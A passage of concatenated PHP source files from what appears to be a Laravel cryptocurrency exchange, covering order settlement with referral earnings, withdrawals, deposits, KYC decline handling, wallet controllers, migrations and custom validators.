$this->order->user->referrer_id, $this->getIncomingCoinSymbol($this->order), $referralEarning ); } return $referralEarning; } private function makeReferralEarningsAttributes($referrerUserId, $referralUserId, $symbol, $fee) { $referralEarning = 0; //If the given order user has a referrer then if ($referrerUserId) { //Calculate the referral earning from the given fee and referral percentage $referralEarning = $this->calculateReferralEarning($fee); //If the referral earning is greater than 0 then if (bccomp($referralEarning, '0') > 0) { //Push referral earning attributes to referral earning history $this->referralEarningsAttributes->push([ 'referrer_user_id' => $referrerUserId, 'referral_user_id' => $referralUserId, 'symbol' => $symbol, 'amount' => $referralEarning, 'created_at' => $this->date, 'updated_at' => $this->date, ]); } } return $referralEarning; } private function calculateReferralEarning($amount) { return bcdiv(bcmul($amount, $this->settings['referral_percentage']), "100"); } /** * If the given order is buy then the incoming coin will be the trade coin * otherwise the incoming coin will be the base coin * @param $order * @return mixed */ private function getIncomingCoinSymbol($order) { return $order->type === ORDER_TYPE_BUY ? $order->trade_coin : $order->base_coin; } /** * Push exchange attributes for insert * @param $order * @param $amount * @param $fee * @param $referralEarning * @param $isMaker * @param $oppositeOrder */ private function makeExchangesAttributes($order, $amount, $fee, $referralEarning, $isMaker, $oppositeOrder) { $price = $order->price === null ? $oppositeOrder->price : $order->price; $this->exchangesAttributes->push([ 'id' => Uuid::uuid4(), 'user_id' => $order->user_id, 'order_id' => $order->id, 'trade_coin' => $order->trade_coin, 'base_coin' => $order->base_coin, 'trade_pair' => $order->getRawOriginal('trade_pair'), 'amount' => $amount, 'price' => $price, 'total' => bcmul($amount, $price), 'fee' => $fee, 'referral_earning' => $referralEarning, 'order_type' => $order->type, 'related_order_id' => $oppositeOrder->id, 'is_maker' => $isMaker, 'created_at' => $this->date, 'updated_at' => $this->date, ]); } private function close() { DB::beginTransaction(); try { //Update the orders attributes $ordersUpdatedCount = Order::bulkUpdate($this->ordersAttributes->toArray()); if ($ordersUpdatedCount != $this->ordersAttributes->count()) { throw new Exception("Could not update the orders"); } //Insert the exchanges attributes $insertedExchangeCount = Exchange::insert($this->exchangesAttributes->toArray()); if ($insertedExchangeCount != $this->exchangesAttributes->count()) { throw new Exception("Could not insert the exchanges"); } //Update the wallets attributes $walletsUpdateCount = Wallet::bulkUpdate($this->walletsAttributes->toArray()); if ($walletsUpdateCount != $this->walletsAttributes->count()) { throw new Exception("Could not update the wallets"); } //Insert the referral earning attributes if ($this->referralEarningsAttributes->isNotEmpty()) { $insertedReferralEarningCount = ReferralEarning::insert($this->referralEarningsAttributes->toArray()); if ($insertedReferralEarningCount != $this->referralEarningsAttributes->count()) { throw new Exception("Could not insert the referral earnings"); } } //Update last price to coin pair if (!$this->order->coinPair()->update(['last_price' => $this->exchangeLastPrice])) { throw new Exception("Could not update the last price"); } } catch (Exception $exception) { DB::rollBack(); Logger::error($exception, "[FAILED][ProcessOrder][close]"); return; } DB::commit(); //Process Stop Limit Orders ProcessStopLimit::dispatch($this->order->trade_pair, $this->exchangeLastPrice); //Broadcast the exchanged orders ExchangeBroadcast::broadcast($this->order->trade_pair, $this->broadcastOrdersAttributes->toArray()); if ($this->broadcastOrderSettlementAttributes->isNotEmpty()) { SettlementOrdersBroadcast::broadcast($this->order->trade_pair, $this->broadcastOrderSettlementAttributes->toArray()); } return; } } <file_sep><?php return [ 'fixed_roles' => [USER_ROLE_ADMIN, USER_ROLE_USER], 'path_profile_image' => 'images/users/', 'path_image' => 'images/', 'language_icon' => 'images/languages/', 'ticket_attachment' => 'images/tickets/', 'path_coin_icon' => 'images/coin-icons/', 'path_cart_icon' => 'images/cart-icons/', 'path_regular_site_image' => 'images/regular_site/', 'path_dashboard_icon' => 'images/dashboard-icons/', 'path_post_feature_image' => 'images/posts/', 'path_deposit_receipt' => 'images/deposit/receipts/', 'email_status' => [ ACTIVE => ['color_class' => 'success'], INACTIVE => ['color_class' => 'danger'], ], 'verification_status' => [ VERIFIED => ['color_class' => 'success'], UNVERIFIED => ['color_class' => 'danger'], ], 'active_status' => [ ACTIVE => ['color_class' => 'success'], INACTIVE => ['color_class' => 'danger'], ], 'account_status' => [ STATUS_ACTIVE => ['color_class' => 'success'], STATUS_INACTIVE => ['color_class' => 'warning'], STATUS_DELETED => ['color_class' => 'danger'], ], 'kyc_status' => [ STATUS_REVIEWING => ['color_class' => 'warning'], STATUS_VERIFIED => ['color_class' => 'success'], STATUS_EXPIRED => ['color_class' => 'danger'], STATUS_DECLINED => ['color_class' => 'danger'], ], 'financial_status' => [ ACTIVE => ['color_class' => 'success'], INACTIVE => ['color_class' => 'danger'], ], 'maintenance_accessible_status' => [ ACTIVE => ['color_class' => 'success'], INACTIVE => ['color_class' => 'danger'], ], 'ticket_status' => [ STATUS_OPEN => ['color_class' => 'info'], STATUS_PROCESSING => ['color_class' => 'warning'], STATUS_RESOLVED => ['color_class' => 'success'], STATUS_CLOSED => ['color_class' => 'danger'], ], 'transaction_status' => [ STATUS_PENDING => ['color_class' => 'info'], STATUS_REVIEWING => ['color_class' => 'warning'], STATUS_PROCESSING => ['color_class' => 'warning'], STATUS_FAILED => ['color_class' => 'danger'], STATUS_CANCELED => ['color_class' => 'danger'], STATUS_COMPLETED => ['color_class' => 'success'], STATUS_EMAIL_SENT => ['color_class' => 'info'], ], 'image_extensions' => ['png', 'jpg', 'jpeg', 'gif'], 'strip_tags' => [ 'escape_text' => ['beginning_text', 'ending_text', 'company_name'], 'escape_full_text' => ['editor_content'], 'allowed_tag_for_escape_text' => '<p><br><b><i><u><strong><ul><ol><li>', 'allowed_tag_for_escape_full_text' => '<h1><h2><h3><h4><h5><h6><hr><article><section><video><audio><table><tbody><tr><td><thead><tfoot><footer><header><p><br><b><i><u><strong><ul><ol><dl><dt><li><div><sub><sup><span><a><pre>', ], 'available_commands' => [ 'cache' => 'cache:clear', 'config' => 'config:clear', 'route' => 'route:clear', 'view' => 'view:clear', ], 'currency_transferable' => [COIN_TYPE_FIAT, COIN_TYPE_CRYPTO], 'currency_non_crypto' => [COIN_TYPE_FIAT], ]; <file_sep><?php namespace App\Models\Withdrawal; use App\Jobs\Withdrawal\WithdrawalProcessJob; use App\Mail\Withdrawal\Confirmation; use App\Models\BankAccount\BankAccount; use App\Models\Coin\Coin; use App\Models\Core\Notification; use App\Models\Core\User; use App\Models\Wallet\Wallet; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Str; class WalletWithdrawal extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = [ 'user_id', 'wallet_id', 'symbol', 'amount', 'system_fee', 'address', 'txn_id', 'api', 'bank_account_id', 'status', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); static::created(static function ($model) { if (settings('is_email_confirmation_required')) { Mail::to($model->user->email)->send(new Confirmation($model)); } else if ($model->status === STATUS_PENDING) { WithdrawalProcessJob::dispatch($model); } }); static::updated(static function ($model) { if ($model->status === STATUS_COMPLETED) { $message = __("Your withdrawal request of :amount :coin has been completed.", ['amount' => $model->amount, 'coin' => $model->symbol]); } else if ($model->status === STATUS_CANCELED) { $message = __("Your withdrawal request of :amount :coin was canceled. The amount has been refunded to your wallet.", ['amount' => $model->amount, 'coin' => $model->symbol]); } else if ($model->status === STATUS_FAILED) { $message = __("Your withdrawal request of :amount :coin was failed. The amount has been refunded to your wallet. ", ['amount' => $model->amount, 'coin' => $model->symbol]); } if (isset($message)) { Notification::create([ 'user_id' => $model->user_id, 'message' => __("Your withdrawal request of :amount :coin has been completed.", ['amount' => $model->amount, 'coin' => $model->symbol]) ]); } }); } public function coin(): BelongsTo { return $this->belongsTo(Coin::class, 'symbol', 'symbol'); } public function bankAccount(): BelongsTo { return $this->belongsTo(BankAccount::class); } public function user(): BelongsTo { return $this->belongsTo(User::class); } public function wallet(): BelongsTo { return $this->belongsTo(Wallet::class); } public function getRecipientWallet() { return Wallet::where('address', $this->address) ->where('symbol', $this->symbol) ->where('is_system_wallet', INACTIVE) ->where('is_active', ACTIVE) ->first(); } } <file_sep><?php namespace App\Broadcasts\Exchange; use App\Models\Order\Order; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Contracts\Broadcasting\ShouldBroadcastNow; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class OrderBroadcast implements ShouldBroadcastNow { use Dispatchable, InteractsWithSockets, SerializesModels; public $order; public function __construct(Order $order) { $this->order = $order->withoutRelations(); } public function broadcastOn() { return new Channel(get_channel_prefix(). 'order.' . $this->order->trade_pair); } /** * Determine if this event should broadcast. * * @return bool */ public function broadcastWhen() { return ($this->order->status == STATUS_PENDING && $this->order->category !== ORDER_CATEGORY_MARKET); } public function broadcastAs() { return 'order.created'; } public function broadcastWith() { return [ 'type' => $this->order->type, 'price' => $this->order->price, 'amount' => $this->order->amount, 'total' => bcmul($this->order->price, $this->order->amount), 'trade_pair' => $this->order->trade_pair, ]; } } <file_sep><?php namespace App\Http\Controllers\UserActivity; use App\Http\Controllers\Controller; use App\Models\Core\User; use App\Models\Core\UserActivity; use App\Services\Core\DataTableService; use App\Services\Core\UserActivityService; use Illuminate\Support\Facades\Auth; class AdminActivityController extends Controller { public function index(User $user) { $data = app(UserActivityService::class)->getUserActivities($user->id); $data['title'] = __('User Activities'); return view('user_activity.admin.users_activity', $data); } } <file_sep><?php namespace App\Jobs\Withdrawal; use App\Models\Withdrawal\WalletWithdrawal; use App\Services\Withdrawal\WithdrawalService; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; class WithdrawalCancelJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; public $withdrawal; public $deleteWhenMissingModels = true; public function __construct(WalletWithdrawal $withdrawal) { $this->queue = 'withdrawal-cancel'; $this->withdrawal = $withdrawal->withoutRelations(); } public function handle() { app(WithdrawalService::class, [$this->withdrawal])->cancel(); } } <file_sep><?php use App\Http\Controllers\Api\Ticker\ChartDataController; use App\Http\Controllers\Api\Ticker\PublicApiController; use App\Http\Controllers\Api\Webhook\BitcoinIpnController; use App\Http\Controllers\Api\Webhook\CoinpaymentsIpnController; use Illuminate\Support\Facades\Route; Route::any('/ipn/coinpayments', CoinpaymentsIpnController::class); Route::any('/ipn/bitcoin/{currency}', BitcoinIpnController::class); Route::get('public', PublicApiController::class); <file_sep><?php namespace App\Http\Controllers\Wallet; use App\Http\Controllers\Controller; use App\Models\Order\Order; use App\Models\Wallet\Wallet; use App\Services\Core\DataTableService; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Illuminate\View\View; class UserWalletController extends Controller { public function index(): View { $searchFields = [ ['symbol', __('Wallet'),], ['name', __('Wallet Name'), 'coin'], ]; $orderFields = [ ['symbol', __('Wallet')], ['name', __('Wallet Name'), 'coin'], ['primary_balance', __('Primary Balance')], ]; $filterFields = [ ['primary_balance', __('Balance'), 'preset', null, [ [__('Hide 0(zero) balance'), '>', 0], ] ], ]; $queryBuilder = Wallet::with('coin:symbol,name,icon') ->withOnOrderBalance() ->where('user_id', Auth::id()) ->withoutSystemWallet() ->orderBy('primary_balance', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); $data['title'] = __('My Wallet'); return view('wallets.user.index', $data); } } <file_sep><?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Jobs\Deposit\DepositProcessJob; use App\Models\Deposit\WalletDeposit; use App\Services\Core\DataTableService; use App\Services\Deposit\DepositService; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class AdminDepositHistoryController extends Controller { public function index() { $data['title'] = __('Deposit History'); $data['userId'] = Auth::id(); $searchFields = [ ['id', __('Reference ID')], ['email', __('Email'), 'user'], ['symbol', __('Wallet')], ['amount', __('Amount')], ['txn_id', __('Txn ID')], ]; $orderFields = [ ['symbol', __('Wallet')], ['amount', __('Amount')], ['created_at', __('Date')], ]; $filterFields = [ ['status', __("Status"), transaction_status()], ['api', __("Payment Method"), coin_apis()] ]; $downloadableHeadings = [ ['created_at', __("Date")], ['id', __("Reference ID")], ['email', __("Email"), 'user'], ['address', __("Address")], ['bank_name', __("Bank"), 'bankAccount'], ['symbol', __("Wallet")], ['amount', __("Amount")], ['system_fee', __("Fee")], ['status', __("Status")], ]; $queryBuilder = WalletDeposit::with("user") ->orderBy('created_at'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->downloadable($downloadableHeadings) ->create($queryBuilder); return view('deposit.admin.history.index', $data); } public function show(WalletDeposit $deposit) { return app(DepositService::class)->show($deposit); } public function update(WalletDeposit $deposit) { return app(DepositService::class)->approve($deposit); } public function destroy(WalletDeposit $deposit) { return app(DepositService::class)->cancel($deposit); } } <file_sep><?php namespace App\Broadcasts\Exchange; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Contracts\Broadcasting\ShouldBroadcastNow; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class SettlementOrdersBroadcast implements ShouldBroadcastNow { use Dispatchable, InteractsWithSockets, SerializesModels; public $tradePair; public $payload; public function __construct($tradePair, $payload) { $this->tradePair = $tradePair; $this->payload = $payload; } public function broadcastOn() { return new Channel(get_channel_prefix() . 'order.' . $this->tradePair); } public function broadcastAs() { return 'order.settlement'; } public function broadcastWith() { return $this->payload; } } <file_sep><?php namespace App\Http\Controllers\KycManagement; use App\Http\Controllers\Controller; use App\Http\Requests\Kyc\AdminKycReasonRequest; use App\Models\Core\Notification; use App\Models\Kyc\KycVerification; use Exception; use Illuminate\Support\Facades\DB; class DeclineKycVerificationController extends Controller { public function index(AdminKycReasonRequest $request, KycVerification $kycVerification) { if ($kycVerification->status != STATUS_REVIEWING) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('The KYC decline failed for wrong ID.')); } DB::beginTransaction(); try { $updateVerification = $kycVerification->update([ 'status' => STATUS_DECLINED, 'reason' => $request->reason ]); if ($updateVerification) { $updateUser = $kycVerification->user()->update(['is_id_verified' => UNVERIFIED]); if (!$updateUser) { DB::rollBack(); return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to decline.')); } $notification = ['user_id' => $kycVerification->user_id, 'message' => __("Your KYC verification has been declined.")]; Notification::create($notification); } } catch (Exception $exception) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to decline.')); } DB::commit(); return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The KYC has been declined successfully.')); } } <file_sep><?php namespace App\Models\Deposit; use App\Models\BankAccount\BankAccount; use App\Models\Coin\Coin; use App\Models\Core\User; use App\Models\Wallet\Wallet; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Str; class WalletDeposit extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = [ 'user_id', 'wallet_id', 'symbol', 'amount', 'network_fee', 'system_fee', 'address', 'txn_id', 'api', 'status', 'bank_account_id', 'system_bank_account_id', 'receipt', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); } public function wallet(): BelongsTo { return $this->belongsTo(Wallet::class); } public function coin(): BelongsTo { return $this->belongsTo(Coin::class, 'symbol', 'symbol'); } public function bankAccount(): BelongsTo { return $this->belongsTo(BankAccount::class); } public function systemBankAccount(): BelongsTo { return $this->belongsTo(BankAccount::class, 'system_bank_account_id'); } public function user(): BelongsTo { return $this->belongsTo(User::class); } } <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateCoinPairsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('coin_pairs', function (Blueprint $table) { $table->string('name', 20)->primary(); $table->string('trade_coin', 10); $table->string('base_coin', 10); $table->integer('is_active')->default(ACTIVE); $table->integer('is_default')->default(INACTIVE); $table->decimal('last_price', 19, 8)->unsigned()->default(0); $table->timestamps(); $table->unique(['trade_coin', 'base_coin']); $table->foreign('trade_coin') ->references('symbol') ->on('coins') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('base_coin') ->references('symbol') ->on('coins') ->onDelete('restrict') ->onUpdate('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('coin_pairs'); } } <file_sep><?php namespace App\Http\Requests\Order; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class OrderRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $rules = [ 'order_type' => [ 'required', Rule::in(array_keys(order_type())) ], 'category' => [ 'required', Rule::in(array_keys(order_categories())) ], 'trade_pair' => [ 'required', Rule::exists('coin_pairs', 'name')->where('is_active', ACTIVE) ], 'price' => [ Rule::requiredIf(function () { return $this->get('category') !== ORDER_CATEGORY_MARKET; }), 'numeric', 'min:0.00000001', 'decimal_scale:11,8' ], 'amount' => [ Rule::requiredIf(function () { if ($this->get('category') === ORDER_CATEGORY_MARKET && $this->get('order_type') === ORDER_TYPE_BUY) { return false; } return true; }), 'numeric', 'min:0.00000001', 'decimal_scale:11,8' ], 'total' => [ Rule::requiredIf(function () { if ($this->get('category') === ORDER_CATEGORY_MARKET && $this->get('order_type') === ORDER_TYPE_SELL) { return false; } return true; }), 'numeric', 'decimal_scale:11,8' ] ]; if ($this->get('category') === ORDER_CATEGORY_STOP_LIMIT) { $rules['stop'] = [ 'required', 'numeric', 'min:0.00000001', 'decimal_scale:11,8' ]; } return $rules; } protected function getValidatorInstance() { $validator = parent::getValidatorInstance(); $validator->after(function () use ($validator) { if ($this->get('category') === ORDER_CATEGORY_MARKET && $this->get('order_type') === ORDER_TYPE_SELL) { return; } if ($this->get('category') === ORDER_CATEGORY_MARKET && $this->get('order_type') === ORDER_TYPE_BUY) { $total = $this->get('total'); } else { $total = bcmul($this->get('amount'), $this->get('price')); $this->merge(['total' => $total]); } if (bccomp($total, $this->input('total')) !== 0) { $validator->errors()->add('total', __('Invalid total amount')); } }); return $validator; } } <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateTicketCommentsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('ticket_comments', function (Blueprint $table) { $table->uuid('user_id'); $table->uuid('ticket_id')->index(); $table->text('content'); $table->string('attachment')->nullable(); $table->timestamp('created_at'); $table->timestamp('updated_at')->nullable(); $table->foreign('user_id')->references('id')->on('users')->onDelete('restrict')->onUpdate('restrict'); $table->foreign('ticket_id')->references('id')->on('tickets')->onDelete('restrict')->onUpdate('restrict'); $table->primary(['user_id', 'ticket_id', 'created_at']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('ticket_comments'); } } <file_sep><?php namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class GuestPermissionApi { /** * Handle an incoming request. * * @param Request $request * @param Closure $next * @return mixed */ public function handle($request, Closure $next) { $auth = Auth::user(); if (!$auth) { return $next($request); } return response()->json([401 => api_permission(ROUTE_REDIRECT_TO_UNAUTHORIZED)]); } } <file_sep><?php namespace App\Http\Controllers\Referral; use App\Http\Controllers\Controller; use App\Models\Core\User; use App\Models\Referral\ReferralEarning; use App\Services\Core\DataTableService; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; class ReferralEarningController extends Controller { public function index() { $searchFields = [ ['coin', __('Coin')], ['email', __('Email'), 'referralUsers'], ['username', __('Username'), 'referralUsers'], ]; $orderFields = [ ['coin', __('Coin')], ['amount', __('Amount')], ['email', __('Email'), 'referralUsers'], ['username', __('Username'), 'referralUsers'], ]; $downloadableHeadings = [ ['symbol', __('Wallet')], ['amount', __('Amount')], ['last_earning_at', __('Last Earning At')], ]; $data['title'] = __('Referral Earning History'); $queryBuilder = ReferralEarning::select('symbol', DB::raw("sum(amount) as amount")) ->addSelect(['last_earning_at' => ReferralEarning::from('referral_earnings as r') ->select('created_at') ->where('r.referrer_user_id', Auth::id()) ->whereColumn('r.symbol', 'referral_earnings.symbol') ->latest('r.created_at') ->limit(1) ]) ->where('referrer_user_id', Auth::id()) ->with('coin', 'referralUser') ->groupBy(["symbol"]) ->orderBy('amount', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->downloadable($downloadableHeadings) ->withoutDateFilter() ->create($queryBuilder); return view('referral.index', $data); } public function show(User $user) { $searchFields = [ ['coin', __('Coin')], ]; $orderFields = [ ['coin', __('Coin')], ['amount', __('Amount')], ['date', __('Date')], ]; $data['user'] = $user; $data['title'] = __('Referral Earning History: :name', ['name' => $user->profile->full_name]); $queryBuilder = ReferralEarning::select('symbol', DB::raw("sum(amount) as amount")) ->where('referral_user_id', $user->id) ->where('referrer_user_id', Auth::id()) ->with('coin') ->groupBy("symbol") ->orderBy('amount', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->withoutDateFilter() ->create($queryBuilder); return view('referral.user.show', $data); } } <file_sep><?php namespace App\Http\Controllers\Wallet; use App\Http\Controllers\Controller; use App\Models\Wallet\Wallet; use App\Services\Core\DataTableService; use Illuminate\View\View; class SystemWalletsController extends Controller { public function index(): View { $searchFields = [ ['symbol', __('Wallet')], ['name', __('Wallet Name'), 'coin'], ]; $orderFields = [ ['symbol', __('Wallet')], ['name', __('Wallet Name'), 'coin'], ['primary_balance', __('Primary Balance')], ]; $filterFields = [ ['primary_balance', __('Balance'), 'preset', null, [ [__('Hide 0(zero) balance'), '>', 0], ] ], ]; $queryBuilder = Wallet::with('coin:symbol,name,icon') ->where('is_system_wallet', ACTIVE) ->orderBy('primary_balance', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); $data['title'] = __('System Wallet'); return view('wallets.admin.index', $data); } } <file_sep><?php namespace App\Http\Controllers\Exchange; use App\Http\Controllers\Controller; use App\Models\Coin\CoinPair; use App\Models\Wallet\Wallet; use App\Services\Wallet\WalletService; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; class WalletSummaryController extends Controller { public function __invoke(Request $request) { $walletSummary = $this->_getWalletSummary($request->coin_pair); return response()->json($walletSummary); } public function _getWalletSummary($coinPair): array { $coinPair = CoinPair::where('name', $coinPair)->first(); if( $coinPair ) { $baseCoinWallet = Wallet::where('symbol', $coinPair->base_coin) ->where('is_system_wallet', INACTIVE) ->where('user_id', Auth::id()) ->first(); $coinWallet = Wallet::where('symbol', $coinPair->trade_coin) ->where('is_system_wallet', INACTIVE) ->where('user_id', Auth::id()) ->first(); return [ 'base_coin_balance' => $baseCoinWallet->primary_balance, 'trade_coin_balance' => $coinWallet->primary_balance, ]; } return []; } } <file_sep><?php namespace App\Providers; use App\Models\Core\ApplicationSetting; use App\Override\Api\BitcoinForkedApi; use App\Override\Api\CoinpaymentsApi; use App\Services\Core\LanguageService; use App\Services\Logger\LaraframeLogger; use App\Services\Orders\ProcessLimitOrderService; use App\Services\Orders\ProcessMarketOrderService; use App\Services\Withdrawal\WithdrawalService; use Carbon\Carbon; use Exception; use Illuminate\Filesystem\Filesystem; use Illuminate\Support\Facades\Blade; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Queue; use Illuminate\Support\Facades\Request; use Illuminate\Support\Facades\URL; use Illuminate\Support\Facades\Validator; use Illuminate\Support\ServiceProvider; class AppServiceProvider extends ServiceProvider { /** * Register any application services. * * @return void */ public function register() { // } /** * Bootstrap any application services. * * @return void */ public function boot() { // Paginator::defaultView('vendor.pagination.bootstrap-4'); if (env("APP_PROTOCOL", 'http') == 'https') { URL::forceScheme('https'); } if (function_exists('bcscale')) { bcscale(8); } Validator::extend('hash_check', function ($attribute, $value, $parameters) { return $value == null ? true : Hash::check($value, $parameters[0]); }); Validator::extend('digits_only', function ($attribute, $value, $parameters) { return $value == null ? true : ctype_digit($value); }); Validator::extend('date_gt', function ($attribute, $value, $parameters, $validator) { $data = $this->dateComparison($attribute, $value, $parameters); if ($value == null) { return true; } $validator->addReplacer('date_gt', function ($message, $attribute, $rule, $parameters) use ($validator) { $replaceString = isset($validator->customAttributes[$parameters[0]]) ? $validator->customAttributes[$parameters[0]] : str_replace('_', ' ', $parameters[0]); return str_replace([':other'], $replaceString, $message); }); return $data[0] > $data[1]; }); Validator::extend('date_gte', function ($attribute, $value, $parameters, $validator) { $data = $this->dateComparison($attribute, $value, $parameters); if ($value == null) { return true; } $validator->addReplacer('date_gte', function ($message, $attribute, $rule, $parameters) use ($validator) { $replaceString = isset($validator->customAttributes[$parameters[0]]) ? $validator->customAttributes[$parameters[0]] : str_replace('_', ' ', $parameters[0]); return str_replace([':other'], $replaceString, $message); }); return $data[0] >= $data[1]; }); Validator::extend('date_lt', function ($attribute, $value, $parameters, $validator) { $data = $this->dateComparison($attribute, $value, $parameters); if ($value == null) { return true; } $validator->addReplacer('date_lt', function ($message, $attribute, $rule, $parameters) use ($validator) { $replaceString = isset($validator->customAttributes[$parameters[0]]) ? $validator->customAttributes[$parameters[0]] : str_replace('_', ' ', $parameters[0]); return str_replace([':other'], $replaceString, $message); }); return $data[0] < $data[1]; }); Validator::extend('date_lte', function ($attribute, $value, $parameters, $validator) { $data = $this->dateComparison($attribute, $value, $parameters); if ($value == null || !$data) { return true; } $validator->addReplacer('date_lte', function ($message, $attribute, $rule, $parameters) use ($validator) { $replaceString = isset($validator->customAttributes[$parameters[0]]) ? $validator->customAttributes[$parameters[0]] : str_replace('_', ' ', $parameters[0]); return str_replace([':other'], $replaceString, $message); }); return $data[0] <= $data[1]; }); Validator::extend('date_neq', function ($attribute, $value, $parameters, $validator) { $data = $this->dateComparison($attribute, $value, $parameters); if ($value == null) { return true; } $validator->addReplacer('date_neq', function ($message, $attribute, $rule, $parameters) use ($validator) { $replaceString = isset($validator->customAttributes[$parameters[0]]) ? $validator->customAttributes[$parameters[0]] : str_replace('_', ' ', $parameters[0]); return str_replace([':other'], $replaceString, $message); }); return $data[0] != $data[1]; }); Validator::extend('date_eq', function ($attribute, $value, $parameters, $validator) { $data = $this->dateComparison($attribute, $value, $parameters); if ($value == null) { return true; } $validator->addReplacer('date_eq', function ($message, $attribute, $rule, $parameters) use ($validator) { $replaceString = isset($validator->customAttributes[$parameters[0]]) ? $validator->customAttributes[$parameters[0]] : str_replace('_', ' ', $parameters[0]); return str_replace([':other'], $replaceString, $message); }); return $data[0] == $data[1]; }); Validator::extend('alpha_space', function ($attribute, $value) { if ($value == null) { return true; } return is_string($value) && preg_match('/^[\pL\s]+$/u', $value); }); Validator::extend('decimal_scale', function ($attribute, $value, $parameters, $validator) { $validator->addReplacer('decimal_scale', function ($message, $attribute, $rule, $parameters) use ($validator) { return str_replace([':other'], sprintf("(%s,%s)", $parameters[0], $parameters[1]), $message); }); if (!is_numeric($value)) { return false; } if ($value < 0) { $value = substr($value, 1); } $parts = explode('.', $value); if ($parts[0] === '' || ($parts[0] != 0 && strlen(ltrim($parts[0], '0')) > $parameters[0])) { return false; } if (count($parts) === 2 && ($parts[1] === '' || strlen(rtrim($parts[1], '0')) > $parameters[1])) { return false; } return true; }); Validator::extend('slug', function ($attribute, $value) { if ($value == null) { return true; } return is_string($value) && preg_match('/^[\pL\pM\pN-]+$/u', $value); }); Blade::withoutComponentTags(); Queue::looping(function () { while (DB::transactionLevel() > 0) { DB::rollBack(); } }); /* DB::listen(function ($query) { logs()->info($query->sql); logs()->info($query->bindings); logs()->info($query->time); });*/ $this->app->singleton(LanguageService::class, function () { return new LanguageService( new Filesystem, $this->app['path.lang'], [$this->app['path.resources'], $this->app['path']] ); }); $this->app->singleton('logger', LaraframeLogger::class); //API Service Binding $this->app->bind("BitcoinForkedApi", function ($app, $parameters) { return new BitcoinForkedApi($parameters[0]); }); $this->app->bind("CoinpaymentsApi", function ($app, $parameters) { return new CoinpaymentsApi($parameters[0]); }); $this->app->bind(WithdrawalService::class, function ($app, $parameters) { return new WithdrawalService($parameters[0]); }); $this->app->bind(ProcessLimitOrderService::class, function ($app, $parameters) { return new ProcessLimitOrderService($parameters[0]); }); $this->app->bind(ProcessMarketOrderService::class, function ($app, $parameters) { return new ProcessMarketOrderService($parameters[0]); }); //Cache admin settings $this->loadApplicationSettings(); } private function dateComparison($attribute, $value, $parameters) { $otherFieldValue = Request::get($parameters[0]); $currentInputNameParts = explode('.', $attribute); if (count($currentInputNameParts) > 1) { $otherInputPartName = explode('.', $parameters[0]); if (count($otherInputPartName) > 1) { $otherFieldValue = Request::get($otherInputPartName[0]); foreach ($otherInputPartName as $key => $inputValue) { if ($key != 0) { if ($inputValue == '*') { $otherFieldValue = $otherFieldValue[$currentInputNameParts[$key]]; } else { $otherFieldValue = $otherFieldValue[$inputValue]; } } } } } $thisFormat = isset($parameters[1]) ? $parameters[1] : 'Y-m-d H:i:s'; $otherFormat = isset($parameters[2]) ? $parameters[2] : $thisFormat; try { $thisValue = Carbon::createFromFormat($thisFormat, $value)->getTimestamp(); $otherValue = 